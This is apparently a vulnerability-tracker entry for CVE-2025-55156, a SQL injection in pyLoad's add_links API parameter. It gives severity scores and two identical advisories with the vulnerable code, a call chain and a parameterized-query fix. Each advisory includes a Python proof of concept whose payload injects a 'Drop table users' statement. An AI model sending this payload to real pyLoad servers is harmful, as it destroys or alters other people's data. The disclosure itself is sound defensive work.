CVE-2025-55156

highPriorität · verfolgen · 0EPSS 0.003 · 28. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.34% (28th) EPSS
CVSS 7.8 · high
Is it mine?
2 products
Prüfe deine Angriffsfläche
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · bewertet 2026-10-27

pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.8–7.8

v4.07.8highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:Psecondary · ENISA EU
v4.07.8highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.06.8mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (2)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-pwh4-6r3m-j2rfPyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter2025-08-12ghsa · osvUS

    ### Summary The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage. ### Details - Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271 - Affected code: ```python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids ```` statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability. - Vulnerability Chain ```xml josn_blueprint.py#add_package src/pyload/core/api/__init__.py#add_package src/pyload/core/managers/file_manager.py#add_links src/pyload/core/threads/info_thread.py#run src/pyload/core/threads/info_thread.py#update_info src/pyload/core/managers/file_manager.py#update_file_info src/pyload/core/database/file_database.py#update_link_info ``` ### PoC ```python import requests if __name__ == "__main__": url = "http://localhost:8000/json/add_package" data = { "add_name": "My Downloads1", "add_dest": "0", "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "add_password": "mypassword" } response = requests.post(url, cookies=your_cookies, data=data) print(response.status_code, response.text) ``` <img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" /> ### Remediation ```python def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询,避免SQL注入 placeholders = ','.join(['?'] * len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids ``` ### Impact Attackers can modify or delete data in the database, causing data errors or loss.

  • PYSEC-2026-1821PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter2026-07-07vendor · osvUS

    ### Summary The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage. ### Details - Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271 - Affected code: ```python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids ```` statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability. - Vulnerability Chain ```xml josn_blueprint.py#add_package src/pyload/core/api/__init__.py#add_package src/pyload/core/managers/file_manager.py#add_links src/pyload/core/threads/info_thread.py#run src/pyload/core/threads/info_thread.py#update_info src/pyload/core/managers/file_manager.py#update_file_info src/pyload/core/database/file_database.py#update_link_info ``` ### PoC ```python import requests if __name__ == "__main__": url = "http://localhost:8000/json/add_package" data = { "add_name": "My Downloads1", "add_dest": "0", "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "add_password": "mypassword" } response = requests.post(url, cookies=your_cookies, data=data) print(response.status_code, response.text) ``` <img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" /> ### Remediation ```python def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询,避免SQL注入 placeholders = ','.join(['?'] * len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids ``` ### Impact Attackers can modify or delete data in the database, causing data errors or loss.

06

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07

quellen

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veröffentlicht 2025-08-11geändert 2026-06-17
08

Referenzen (10)

Externe Belege — Patches, Meldungen, Analysen.

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